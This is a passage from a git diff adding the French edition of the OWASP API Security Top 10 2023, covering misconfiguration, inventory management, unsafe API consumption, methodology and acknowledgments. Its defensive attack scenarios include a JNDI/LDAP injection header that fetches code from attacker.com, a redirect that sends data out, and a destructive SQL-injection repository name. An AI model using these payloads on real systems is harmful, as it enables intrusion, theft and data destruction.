testé et maintenu pour éviter les problèmes causés par des incohérences d'analyse d'URL. +* Validez et assainissez toutes les données d'entrée fournies par le client. +* Ne renvoyez pas de réponses brutes aux clients. + +## Références + +### OWASP + +* [Server Side Request Forgery][1] +* [Server-Side Request Forgery Prevention Cheat Sheet][2] + +### Externes + +* [CWE-918: Server-Side Request Forgery (SSRF)][3] +* [URL confusion vulnerabilities in the wild: Exploring parser inconsistencies, + Snyk][4] + +[1]: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/918.html +[4]: https://snyk.io/blog/url-confusion-vulnerabilities/ diff --git a/editions/2023/fr/0xa8-security-misconfiguration.md b/editions/2023/fr/0xa8-security-misconfiguration.md new file mode 100644 index 000000000..a0ecd8ccb --- /dev/null +++ b/editions/2023/fr/0xa8-security-misconfiguration.md @@ -0,0 +1,100 @@ +# API8:2023 Security Misconfiguration + +| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Courante** : Détectabilité **Facile** | Technique **Grave** : Spécifique à l'organisation | +| Les attaquants cherchent souvent à trouver des failles non corrigées, des points d'accès courants, des services fonctionnant avec des configurations par défaut non sécurisées ou des fichiers et répertoires non protégés pour obtenir un accès non autorisé ou des informations sur le système. La plupart de ces informations sont publiques et des exploits peuvent être disponibles. | La mauvaise configuration de sécurité peut se produire à n'importe quel niveau de la pile API, du réseau à l'application. Des outils automatisés sont disponibles pour détecter et exploiter des configurations incorrectes telles que des services inutiles ou des options héritées. | Les mauvaises configurations de sécurité exposent non seulement des données utilisateur sensibles, mais aussi des détails système qui peuvent conduire à la compromission complète du serveur. | + +## L'API est-elle vulnérable ? + +L'API peut être vulnérable si : + +* La sécurisation appropriée est absente à travers n'importe quelle partie de la pile API, ou si les permissions sur les services cloud sont mal configurées +* Les derniers correctifs de sécurité sont manquants, ou si les systèmes sont obsolètes +* Des fonctionnalités inutiles sont activées (par exemple, les verbes HTTP, les fonctionnalités de journalisation) +* Il y a des divergences dans la façon dont les requêtes entrantes sont traitées par les serveurs dans la chaîne du serveur HTTP +* La sécurité du transport (TLS) est absente +* Les directives de sécurité ou de contrôle de cache ne sont pas envoyées aux clients +* Une politique Cross-Origin Resource Sharing (CORS) est manquante ou mal configurée +* Les messages d'erreur incluent des traces de pile, ou exposent d'autres informations sensibles + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Un serveur back-end d'API maintient un journal d'accès écrit par un utilitaire de journalisation open-source populaire avec prise en charge de l'expansion de paramètres et des recherches JNDI (Java Naming and Directory Interface), tous deux activés par défaut. Pour chaque requête, une nouvelle entrée est écrite dans le fichier journal avec le modèle suivant : ` / - `. + +Un acteur malveillant émet la requête API suivante, qui est écrite dans le fichier journal d'accès : + +``` +GET /health +X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class} +``` + +En raison de la configuration par défaut non sécurisée de l'utilitaire de journalisation et d'une politique de sortie réseau permissive, pour écrire l'entrée correspondante dans le journal d'accès, tout en développant la valeur de l'en-tête de requête `X-Api-Version`, l'utilitaire de journalisation va extraire et exécuter l'objet `Malicious.class` du serveur contrôlé à distance par l'attaquant. + +### Scénario #2 + +Un site web de réseau social propose une fonctionnalité de "Message Direct" qui permet aux utilisateurs de garder des conversations privées. Pour récupérer de nouveaux messages pour une conversation spécifique, le site web émet la requête API suivante (l'interaction de l'utilisateur n'est pas requise) : + +``` +GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA +``` + +Parce que la réponse de l'API ne comprend pas l'en-tête HTTP `Cache-Control`, les conversations privées sont mises en cache par le navigateur web, permettant aux acteurs malveillants de les récupérer à partir des fichiers de cache du navigateur. + +## Comment s'en prémunir ? + +Le cycle de vie de l'API devrait inclure : + +* Un processus de durcissement reproductible menant à un déploiement rapide et facile d'un environnement correctement sécurisé +* Une tâche pour examiner et mettre à jour les configurations dans toute la pile API. L'examen devrait inclure : les fichiers d'orchestration, les composants API et les services cloud (par exemple, les autorisations de compartiment S3) +* Un processus automatisé pour évaluer en continu l'efficacité de la configuration et des paramètres dans tous les environnements + +De plus : + +* Assurez-vous que toutes les communications API du client vers le serveur API et tout composant en aval/amont se font sur un canal de communication chiffré (TLS), qu'il s'agisse d'une API interne ou publique. +* Soyez spécifique sur les verbes HTTP par lesquels chaque API peut être accédée : tous les autres verbes HTTP devraient être désactivés (par exemple, HEAD). +* Les API s'attendant à être accessibles depuis des clients basés sur un navigateur (par exemple, une interface WebApp) devraient, au moins : + * implémenter une politique Cross-Origin Resource Sharing (CORS) appropriée + * inclure les en-têtes de sécurité applicables +* Restreignez les types de contenu/format de données entrants à ceux qui répondent aux exigences commerciales/fonctionnelles. +* Assurez-vous que tous les serveurs dans la chaîne du serveur HTTP (par exemple, les équilibreurs de charge, les proxies et les proxies inverses, ainsi que les serveurs back-end) traitent les requêtes entrantes de manière uniforme pour éviter les problèmes de désynchronisation. +* Lorsque cela est applicable, définissez et appliquez tous les schémas de charge utile de réponse API, y compris les réponses d'erreur, pour empêcher les traces d'exception et d'autres informations précieuses d'être renvoyées aux attaquants. + +## Références + +### OWASP + +* [OWASP Secure Headers Project][1] +* [Configuration and Deployment Management Testing - Web Security Testing + Guide][2] +* [Testing for Error Handling - Web Security Testing Guide][3] +* [Testing for Cross Site Request Forgery - Web Security Testing Guide][4] + +### Externes + +* [CWE-2: Environmental Security Flaws][5] +* [CWE-16: Configuration][6] +* [CWE-209: Generation of Error Message Containing Sensitive Information][7] +* [CWE-319: Cleartext Transmission of Sensitive Information][8] +* [CWE-388: Error Handling][9] +* [CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response + Smuggling')][10] +* [CWE-942: Permissive Cross-domain Policy with Untrusted Domains][11] +* [Guide to General Server Security][12], NIST +* [Let's Encrypt: a free, automated, and open Certificate Authority][13] + +[1]: https://owasp.org/www-project-secure-headers/ +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README +[3]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README +[4]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery +[5]: https://cwe.mitre.org/data/definitions/2.html +[6]: https://cwe.mitre.org/data/definitions/16.html +[7]: https://cwe.mitre.org/data/definitions/209.html +[8]: https://cwe.mitre.org/data/definitions/319.html +[9]: https://cwe.mitre.org/data/definitions/388.html +[10]: https://cwe.mitre.org/data/definitions/444.html +[11]: https://cwe.mitre.org/data/definitions/942.html +[12]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[13]: https://letsencrypt.org/ diff --git a/editions/2023/fr/0xa9-improper-inventory-management.md b/editions/2023/fr/0xa9-improper-inventory-management.md new file mode 100644 index 000000000..f70cf86ad --- /dev/null +++ b/editions/2023/fr/0xa9-improper-inventory-management.md @@ -0,0 +1,64 @@ +# API9:2023 Improper Inventory Management + +| Facteurs de menace/Vecteurs d'attaque | Faiblesse de sécurité | Impacts | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Répandue** : Détection **Moyenne** | Technique **Modérée** : Spécifique à l'organisation | +| Les attaquants cherchent généralement à accéder de manière non autorisée à travers d'anciennes versions d'API ou des points d'accès laissés non corrigés et utilisant des exigences de sécurité plus faibles. Dans certains cas, des exploits sont disponibles. Alternativement, ils peuvent accéder à des données sensibles via un tiers avec lequel il n'y a aucune raison de partager des données. | Une documentation obsolète rend plus difficile la recherche et/ou la correction des vulnérabilités. L'absence d'inventaire des actifs et de stratégies de retraite conduit à l'exécution de systèmes non corrigés, entraînant une fuite de données sensibles. Il est courant de trouver des hôtes API inutilement exposés en raison de concepts modernes tels que les microservices, qui facilitent le déploiement et l'indépendance des applications (par exemple, le cloud computing, K8S). Une simple recherche Google Dorking, une énumération DNS ou l'utilisation de moteurs de recherche spécialisés pour divers types de serveurs (webcams, routeurs, serveurs, etc.) connectés à Internet suffiront pour découvrir des cibles. | Les attaquants peuvent accéder à des données sensibles, voire prendre le contrôle du serveur. Parfois, différentes versions/déploiements d'API sont connectés à la même base de données avec des données réelles. Les agents de menace peuvent exploiter des points d'accès obsolètes disponibles dans d'anciennes versions d'API pour accéder à des fonctions d'administration ou exploiter des vulnérabilités connues. | + +## L'API est-elle vulnérable ? + +Les API modernes sont souvent exposées à des risques de sécurité en raison de la complexité des applications et de la nature connectée des systèmes. Les API sont souvent mal documentées, ce qui rend difficile la recherche et la correction des vulnérabilités. Les API obsolètes ou non corrigées sont des cibles faciles pour les attaquants. + +Faire fonctionner plusieurs versions d'une API nécessite des ressources de gestion supplémentaires de la part du fournisseur de l'API et augmente la surface d'attaque. + +Une API a un "angle mort de la documentation" si : +* Le but de l'hôte de l'API n'est pas clair, et il n'y a pas de réponses explicites aux questions suivantes + * Dans quel environnement l'API fonctionne-t-elle (par exemple, production, staging, test, développement) ? + * Qui devrait avoir accès au réseau de l'API (par exemple, public, interne, partenaires) ? + * Quelle version de l'API est en cours d'exécution ? +* Il n'y a pas de documentation ou la documentation existante n'est pas mise à jour. +* Il n'y a pas de plan de retraite pour chaque version de l'API. +* L'inventaire de l'hôte est manquant ou obsolète. + +La visibilité et l'inventaire des flux de données sensibles jouent un rôle important dans le cadre d'un plan de réponse aux incidents, au cas où une violation se produirait du côté du tiers. + +Une API a un "angle mort du flux de données" si : +* Il y a un "flux de données sensible" où l'API partage des données sensibles avec un tiers et + * Il n'y a pas de justification commerciale ou d'approbation du flux + * Il n'y a pas d'inventaire ou de visibilité du flux + * Il n'y a pas de visibilité approfondie sur le type de données sensibles partagées + + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Un réseau social a mis en place un mécanisme de limitation du taux qui bloque les attaquants qui utilisent la force brute pour deviner les jetons de réinitialisation de mot de passe. Ce mécanisme n'a pas été mis en place dans le code de l'API lui-même, mais dans un composant séparé entre le client et l'API officielle (`api.socialnetwork.owasp.org`). Un chercheur a trouvé un hôte API bêta (`beta.api.socialnetwork.owasp.org`) qui exécute la même API, y compris le mécanisme de réinitialisation du mot de passe, mais le mécanisme de limitation du taux n'était pas en place. Le chercheur a pu réinitialiser le mot de passe de n'importe quel utilisateur en utilisant une simple force brute pour deviner le jeton à 6 chiffres. + +### Scénario #2 + +Un réseau social permet aux développeurs d'applications indépendantes d'intégrer leurs applications avec lui. Dans le cadre de ce processus, un consentement est demandé à l'utilisateur final, afin que le réseau social puisse partager les informations personnelles de l'utilisateur avec l'application indépendante. + +Le flux de données entre le réseau social et les applications indépendantes n'est pas suffisamment restrictif ou surveillé, permettant aux applications indépendantes d'accéder non seulement aux informations de l'utilisateur, mais aussi aux informations privées de tous leurs amis. + +Une société de conseil crée une application malveillante et parvient à obtenir le consentement de 270 000 utilisateurs. En raison de la faille, la société de conseil parvient à accéder aux informations privées de 50 000 000 d'utilisateurs. Plus tard, la société de conseil vend les informations à des fins malveillantes. + +## Comment s'en prémunir ? + +* Inventoriez tous les hôtes API et documentez les aspects importants de chacun d'eux, en mettant l'accent sur l'environnement de l'API (par exemple, production, staging, test, développement), qui devrait avoir accès, en réseau, à l'hôte (par exemple, public, interne, partenaires) et la version d'API. +* Inventoriez les services intégrés et documentez les aspects importants tels que leur rôle dans le système, les données échangées (flux de données) et leur sensibilité. +* Documentez tous les aspects de votre API tels que l'authentification, les erreurs, les redirections, la limitation du taux, la politique de partage des ressources entre origines (CORS) et les points d'accès, y compris leurs paramètres, requêtes et réponses. +* Générez automatiquement la documentation en adoptant des normes ouvertes. Incluez la génération de documentation dans votre pipeline CI/CD. +* Rendez la documentation de l'API disponible uniquement aux personnes autorisées à utiliser l'API. +* Utilisez des mesures de protection externes telles que des solutions de sécurité spécifiques aux APIs pour toutes les versions exposées de vos API, pas seulement pour la version de production. +* Évitez d'utiliser des données de production avec des déploiements d'API hors production. Si cela est inévitable, ces points d'accès doivent bénéficier du même traitement de sécurité que les points d'accès de production. +* Lorsque les nouvelles versions des API incluent des améliorations de sécurité, effectuez une analyse des risques pour informer des actions de mitigation requises pour les anciennes versions. Par exemple, s'il est possible de rétroporter les améliorations sans casser la compatibilité de l'API plus ancienne ou si vous devez retirer rapidement l'ancienne version et forcer tous les clients à passer à la dernière version. + + +## Références + +### Externes + +* [CWE-1059: Incomplete Documentation][1] + +[1]: https://cwe.mitre.org/data/definitions/1059.html diff --git a/editions/2023/fr/0xaa-unsafe-consumption-of-apis.md b/editions/2023/fr/0xaa-unsafe-consumption-of-apis.md new file mode 100644 index 000000000..37ea83799 --- /dev/null +++ b/editions/2023/fr/0xaa-unsafe-consumption-of-apis.md @@ -0,0 +1,86 @@ +# API10:2023 Unsafe Consumption of APIs + +| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Courante** : Détectabilité **Moyenne** | Technique **Grave** : Spécifique à l'organisation | +| Exploiter ce problème nécessite que les attaquants identifient et compromettent potentiellement d'autres APIs/services avec lesquels l'API cible est intégrée. Habituellement, ces informations ne sont pas publiquement disponibles ou l'API/service intégré n'est pas facilement exploitable. | Les développeurs ont tendance à faire confiance et ne pas vérifier les points d'accès qui interagissent avec des API/services externes ou tiers, en se basant sur des exigences de sécurité plus faibles telles que celles concernant la sécurité du transport, l'authentification/l'autorisation et la validation des entrées. Les attaquants doivent identifier les services avec lesquels l'API cible s'intègre (sources de données) et, éventuellement, les compromettre. | L'impact varie en fonction de ce que l'API cible fait avec les données extraites. L'exploitation réussie peut entraîner une exposition d'informations sensibles à des acteurs non autorisés, de nombreux types d'injections, ou un déni de service. | + +## L'API est-elle vulnérable ? + +Les développeurs ont tendance à faire confiance aux données reçues des API tierces plus qu'aux entrées utilisateur. Cela est particulièrement vrai pour les API proposées par des entreprises bien connues. En raison de cela, les développeurs ont tendance à adopter des normes de sécurité plus faibles, par exemple en ce qui concerne la validation des entrées et l'analyse en vu de caractères autorisés ou non en entrée (effacés ou échappés). + +L'API peut être vulnérable si : +* Elle interagit avec d'autres API sur un canal non chiffré ; +* Elle ne valide/filtre pas correctement les données collectées auprès d'autres API avant de les traiter ou de les transmettre à des composants en aval ; +* Elle suit aveuglément les redirections ; +* Elle ne limite pas le nombre de ressources disponibles pour traiter les réponses des services tiers ; +* Elle n'implémente pas de délais d'attente pour les interactions avec les services tiers. + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Une API repose sur un service tiers pour enrichir les adresses commerciales fournies par les utilisateurs. Lorsqu'une adresse est fournie à l'API par l'utilisateur final, elle est envoyée au service tiers et les données renvoyées sont ensuite stockées dans une base de données locale compatible SQL. + +Les attaquants utilisent le service tiers pour stocker une payload SQLi associée à une entreprise créée par eux. Ensuite, ils ciblent l'API vulnérable en fournissant une entrée spécifique qui la pousse à extraire leur "entreprise malveillante" du service tiers. La charge utile SQLi est alors exécutée par la base de données, exfiltrant des données vers un serveur contrôlé par un attaquant. + +### Scénario #2 + +Une API s'intègre à un fournisseur de services tiers pour stocker en toute sécurité des informations médicales sensibles sur les utilisateurs. Les données sont envoyées via une connexion sécurisée en utilisant une requête HTTP comme celle ci-dessous : + +``` +POST /user/store_phr_record +{ + "genome": "ACTAGTAG__TTGADDAAIICCTT…" +} +``` + +Des acteurs malveillants ont trouvé un moyen de compromettre l'API tierce et elle commence à répondre avec une redirection permanente `308` aux requêtes comme la précédente. + +``` +HTTP/1.1 308 Permanent Redirect +Location: https://attacker.com/ +``` + +Puisque l'API suit aveuglément les redirections, elle répète la même requête, y compris les données sensibles de l'utilisateur, vers le serveur de l'attaquant. + +### Scénario #3 + +Un attaquant peut préparer un dépôt git nommé `'; drop db;--`. + +Maintenant, lorsqu'une intégration d'une application attaquée est effectuée avec le dépôt malveillant, une charge utile d'injection SQL est utilisée sur une application qui construit une requête SQL en croyant que le nom du dépôt est une entrée sûre. + +## Comment s'en prémunir ? + +* Lors de l'évaluation des fournisseurs de services, évaluez leur posture de sécurité API. +* Assurez-vous que toutes les interactions API se font sur un canal de communication sécurisé (TLS). +* Validez toujours et épurez correctement les données reçues des API intégrées avant de les utiliser. +* Maintenez une liste blanche des emplacements bien connus vers lesquels les API intégrées peuvent rediriger les vôtres : ne suivez pas aveuglément les redirections. + + +## Références + +### OWASP + +* [Web Service Security Cheat Sheet][1] +* [Injection Flaws][2] +* [Input Validation Cheat Sheet][3] +* [Injection Prevention Cheat Sheet][4] +* [Transport Layer Protection Cheat Sheet][5] +* [Unvalidated Redirects and Forwards Cheat Sheet][6] + +### Externes + +* [CWE-20: Improper Input Validation][7] +* [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor][8] +* [CWE-319: Cleartext Transmission of Sensitive Information][9] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html +[2]: https://www.owasp.org/index.php/Injection_Flaws +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html +[6]: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html +[7]: https://cwe.mitre.org/data/definitions/20.html +[8]: https://cwe.mitre.org/data/definitions/200.html +[9]: https://cwe.mitre.org/data/definitions/319.html diff --git a/editions/2023/fr/0xb0-next-devs.md b/editions/2023/fr/0xb0-next-devs.md new file mode 100644 index 000000000..bb5b4c02a --- /dev/null +++ b/editions/2023/fr/0xb0-next-devs.md @@ -0,0 +1,31 @@ +# Perspectives pour les Développeurs +La tâche de créer et de maintenir des applications sécurisées, ou de corriger des applications existantes, peut être difficile. Il en va de même pour les API. + +Nous croyons que l'éducation et la sensibilisation sont des facteurs clés pour écrire des logiciels sécurisés. Tout le reste nécessaire pour atteindre l'objectif dépend de **l'établissement et de l'utilisation de processus de sécurité répétables et de contrôles de sécurité standard**. + +OWASP fournit de nombreuses ressources gratuites et ouvertes pour vous aider à aborder la sécurité. Veuillez visiter la [page des Projets OWASP][1] pour une liste complète des projets disponibles. + +| | | +|-|-| +| **Éducation** | Le [Guide de Sécurité des Applications OWASP][2] devrait vous donner une bonne idée des projets disponibles pour chaque étape/phase du Cycle de Vie du Développement Logiciel (SDLC). Pour une formation pratique, vous pouvez commencer avec [OWASP **crAPI** - **C**ompletely **R**idiculous **API**][3] ou [OWASP Juice Shop][4] : tous deux ont des APIs intentionnellement vulnérables. Le [Projet de Répertoire d'Applications Web Vulnérables OWASP][5] fournit une liste de projets d'applications intentionnellement vulnérables : vous y trouverez plusieurs autres APIs vulnérables. Vous pouvez également assister à des sessions de formation de la [Conférence OWASP AppSec][6], ou [rejoindre votre chapitre local][7]. | +| **Exigences de Sécurité** | La sécurité devrait faire partie de chaque projet dès le début. Lors de la définition des exigences, il est important de définir ce que "sécurisé" signifie pour ce projet. OWASP vous recommande d'utiliser le [Standard de Vérification de Sécurité des Applications OWASP (ASVS)][8] comme guide pour définir les exigences de sécurité. Si vous externalisez, considérez l'[Annexe de Contrat de Logiciel Sécurisé OWASP][9], qui devrait être adaptée en fonction des lois et réglementations locales. | +| **Architecture de Sécurité** | La sécurité devrait rester une préoccupation pendant toutes les étapes du projet. La [Série de Cheet Sheat OWASP][10] est un bon point de départ pour obtenir des conseils sur la façon de concevoir la sécurité pendant la phase d'architecture. Parmi beaucoup d'autres, vous trouverez la [Fiche de Triche sur la Sécurité REST][11] et la [Fiche de Triche sur l'Évaluation REST][12] ainsi que la [Fiche de Triche GraphQL][13]. | +| **Contrôles de Sécurité Standard** | L'adoption de contrôles de sécurité standard réduit le risque d'introduire des faiblesses de sécurité tout en écrivant votre propre logique. Bien que de nombreux frameworks modernes viennent maintenant avec des contrôles standard efficaces intégrés, [OWASP Proactive Controls][14] vous donne un bon aperçu des contrôles de sécurité que vous devriez chercher à inclure dans votre projet. OWASP fournit également certaines bibliothèques et outils que vous pourriez trouver précieux, tels que des contrôles de validation. | +| **Cycle de Vie de Développement Logiciel Sécurisé** | Vous pouvez utiliser le [Modèle de Maturité de l'Assurance Logicielle OWASP (SAMM)][15] pour améliorer vos processus de construction d'API. Plusieurs autres projets OWASP sont disponibles pour vous aider pendant les différentes phases de développement d'API, par exemple, le [Guide de Révision de Code OWASP][16]. | + +[1]: https://owasp.org/projects/ +[2]: https://owasp.org/projects/#owasp-projects-the-sdlc-and-the-security-wayfinder +[3]: https://owasp.org/www-project-crapi/ +[4]: https://owasp.org/www-project-juice-shop/ +[5]: https://owasp.org/www-project-vulnerable-web-applications-directory/ +[6]: https://owasp.org/events/ +[7]: https://owasp.org/chapters/ +[8]: https://owasp.org/www-project-application-security-verification-standard/ +[9]: https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex +[10]: https://cheatsheetseries.owasp.org/ +[11]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html +[12]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html +[13]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html +[14]: https://owasp.org/www-project-proactive-controls/ +[15]: https://owasp.org/www-project-samm/ +[16]: https://owasp.org/www-project-code-review-guide/ diff --git a/editions/2023/fr/0xb1-next-devsecops.md b/editions/2023/fr/0xb1-next-devsecops.md new file mode 100644 index 000000000..8ba5cae79 --- /dev/null +++ b/editions/2023/fr/0xb1-next-devsecops.md @@ -0,0 +1,23 @@ +# Perspectives pour les DevSecOps + +En raison de leur importance dans les architectures d'applications modernes, la construction d'API sécurisées est cruciale. La sécurité ne peut être négligée et doit faire partie de tout le cycle de développement. Scanner et réaliser des tests de pénétration une fois par an ne suffit plus. + +Les DevSecOps devraient rejoindre l'effort de développement, facilitant les tests de sécurité continus tout au long du cycle de vie du logiciel. Votre objectif devrait être d'améliorer le pipeline de développement avec l'automatisation de la sécurité, sans impacter la vitesse de développement. + +En cas de doute, restez informé et référez-vous au [Manifeste DevSecOps][1]. + +| | | +|-|-| +| **Comprendre le Modèle de Menace** | Les priorités de test proviennent d'un modèle de menace. Si vous n'en avez pas, envisagez d'utiliser le [Standard de Vérification de Sécurité des Applications OWASP (ASVS)][2], et le [Guide de Test de Sécurité OWASP][3] comme entrée. Impliquer l'équipe de développement les rendra plus conscients de la sécurité. | +| **Comprendre le SDLC** | Rejoignez l'équipe de développement pour mieux comprendre le Cycle de Vie du Développement Logiciel. Votre contribution aux tests de sécurité continus doit être compatible avec les personnes, les processus et les outils. Tout le monde devrait être d'accord avec le processus, pour qu'il n'y ait pas de friction ou de résistance inutile. | +| **Stratégies de Test** | Puisque votre travail ne doit pas impacter la vitesse de développement, vous devriez choisir judicieusement la meilleure technique (simple, rapide, précise) pour vérifier les exigences de sécurité. Le [Cadre de Connaissance de Sécurité OWASP][4] et le [Standard de Vérification de Sécurité des Applications OWASP][2] peuvent être de grandes sources d'exigences de sécurité fonctionnelles et non fonctionnelles. Il existe d'autres excellentes sources pour des [projets][5] et [outils][6] similaires à ceux proposés par la [communauté DevSecOps][7]. | +| **Atteindre la Couverture et la Précision** | Vous êtes le pont entre les équipes de développement et d'exploitation. Pour atteindre une couverture, vous devriez non seulement vous concentrer sur la fonctionnalité, mais aussi sur l'orchestration. Travaillez étroitement avec les équipes de développement et d'exploitation dès le début pour optimiser votre temps et vos efforts. Vous devriez viser un état où la sécurité essentielle est vérifiée en continu. | +| **Communiquer Clairement les Résultats** | Apportez de la valeur avec moins ou pas de friction. Livrez les résultats en temps voulu, dans les outils que les équipes de développement utilisent (pas de fichiers PDF). Rejoignez l'équipe de développement pour traiter les résultats. Profitez de l'occasion pour les former, en décrivant clairement la faiblesse et comment elle peut être exploitée, y compris un scénario d'attaque pour le rendre réel. | + +[1]: https://www.devsecops.org/ +[2]: https://owasp.org/www-project-application-security-verification-standard/ +[3]: https://owasp.org/www-project-web-security-testing-guide/ +[4]: https://owasp.org/www-project-security-knowledge-framework/ +[5]: http://devsecops.github.io/ +[6]: https://github.com/devsecops/awesome-devsecops +[7]: http://devsecops.org diff --git a/editions/2023/fr/0xd0-about-data.md b/editions/2023/fr/0xd0-about-data.md new file mode 100644 index 000000000..01cedf68c --- /dev/null +++ b/editions/2023/fr/0xd0-about-data.md @@ -0,0 +1,39 @@ +# Méthodologie et données + +## Aperçu + +Pour cette mise à jour de la liste, l'équipe OWASP API Security a utilisé la même méthodologie que celle utilisée pour la liste de 2019, qui a été bien adoptée et couronnée de succès, avec l'ajout d'un [Appel à Données][1] public de 3 mois. Malheureusement, cet appel à données n'a pas donné lieu à des données qui auraient permis une analyse statistique pertinente des problèmes de sécurité des API les plus courants. + +Cependant, avec une industrie de la sécurité des API plus mature capable de fournir des retours directs et des informations, le processus de mise à jour a avancé en utilisant la même méthodologie qu'auparavant. + +Arrivés ici, nous pensons disposer d'un document de sensibilisation prospectif pour les trois ou quatre prochaines années, plus axé sur les problèmes spécifiques aux API modernes. L'objectif de ce projet n'est pas de remplacer d'autres listes de TOP 10, mais plutôt de couvrir les risques de sécurité des API existants et à venir sur lesquels nous pensons que l'industrie devrait être consciente et vigilante. + +## Méthodologie + +Dans la première phase, des données publiques sur les incidents de sécurité des API ont été collectées, examinées et catégorisées. Ces données ont été collectées à partir de plateformes de bug bounty et de rapports disponibles publiquement. Seuls les problèmes signalés entre 2019 et 2022 ont été pris en compte. Ces données ont été utilisées pour donner à l'équipe une idée de la direction dans laquelle le TOP 10 devrait évoluer, ainsi que pour aider à traiter un éventuel biais des données contribuées. + +Un [Appel à Données][1] public a été lancé du 1er septembre au 30 novembre 2022. En parallèle, l'équipe du projet a commencé à discuter de ce qui a changé depuis 2019. La discussion a porté sur l'impact de la première liste, les retours reçus de la communauté et les nouvelles tendances en matière de sécurité des API. + +L'équipe du projet a organisé des réunions avec des spécialistes des menaces de sécurité des API pour obtenir des informations sur la manière dont les victimes sont impactées et sur la manière dont ces menaces peuvent être atténuées. + +Cet effort a abouti à une première ébauche de ce que l'équipe estime être les dix risques de sécurité des API les plus critiques. La [Méthodologie de Notation des Risques OWASP][2] a été utilisée pour effectuer l'analyse des risques. Les notations de prévalence ont été décidées à partir d'un consensus entre les membres de l'équipe du projet, sur la base de leur expérience dans le domaine. Pour des considérations sur ces questions, veuillez vous référer à la section [Risques de Sécurité des API][3]. + +La première ébauche a ensuite été partagée pour examen avec des professionels de la sécurité ayant une expérience dans les domaines de la sécurité des API. Leurs commentaires ont été examinés, discutés et, le cas échéant, inclus dans le document. Le document résultant a été [publié en tant que Candidat à la Publication][4] pour [discussion ouverte][5]. Plusieurs [contributions de la communauté][6] ont été incluses dans le document final. + +La liste des contributeurs est disponible dans la section [Remerciements][7]. + +## Risques spécifiques aux API + +La liste est construite pour aborder les risques de sécurité qui sont plus spécifiques aux API. + +Cela n'implique pas que d'autres risques de sécurité génériques d'applications n'existent pas dans les applications basées sur des API. Par exemple, nous n'avons pas inclus des risques tels que "Composants Vulnérables et Obsolètes" ou "Injection", même si vous pourriez les trouver dans des applications basées sur des API. Ces risques sont génériques, ils ne se comportent pas différemment dans les API, leur exploitation n'est pas différente. + +Notre objectif est d'augmenter la sensibilisation aux risques de sécurité qui méritent une attention particulière dans les API. + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[3]: ./0x10-api-security-risks.md +[4]: https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc +[5]: https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC +[6]: https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC +[7]: ./0xd1-acknowledgments.md diff --git a/editions/2023/fr/0xd1-acknowledgments.md b/editions/2023/fr/0xd1-acknowledgments.md new file mode 100644 index 000000000..657fc8d88 --- /dev/null +++ b/editions/2023/fr/0xd1-acknowledgments.md @@ -0,0 +1,12 @@ +# Remerciements + +## Remerciements aux Contributeurs + +Nous aimerions remercier les contributeurs suivants qui ont contribué publiquement sur GitHub, ou via d'autres moyens : + +247arjun, abunuwas, Alissa Knight, Arik Atar, Aurélien Troncy, aymenfurter, Corey J. Ball, cyn8, +d0znpp, Dan Gordon, donge, Dor Tumarkin, faizzaidi, gavjl, guybensimhon, Inês +Martins, Isabelle Mauny, Ivan Novikov, jmanico, Juan Pablo, k7jto, LaurentCB, +llegaz, Maxim Zavodchik, MrPRogers, planetlevel, rahulk22, Roey Eliyahu, Roshan +Piyush, securitylevelup, sudeshgadewar123, Tatsuya-hasegawa, tebbers, vanderaj, +wenz, xplo1t-sec, Yaniv Balmas, ynvb diff --git a/editions/2023/fr/images/cover.jpg b/editions/2023/fr/images/cover.jpg new file mode 100644 index 000000000..db6e87f8d Binary files /dev/null and b/editions/2023/fr/images/cover.jpg differ diff --git a/editions/2023/fr/images/front-cc.png b/editions/2023/fr/images/front-cc.png new file mode 100644 index 000000000..45f139804 Binary files /dev/null and b/editions/2023/fr/images/front-cc.png differ diff --git a/editions/2023/fr/images/front-wasp.png b/editions/2023/fr/images/front-wasp.png new file mode 100644 index 000000000..5a163dd4b Binary files /dev/null and b/editions/2023/fr/images/front-wasp.png differ diff --git a/editions/2023/fr/images/license.png b/editions/2023/fr/images/license.png new file mode 100644 index 000000000..124d3ba4d Binary files /dev/null and b/editions/2023/fr/images/license.png differ diff --git 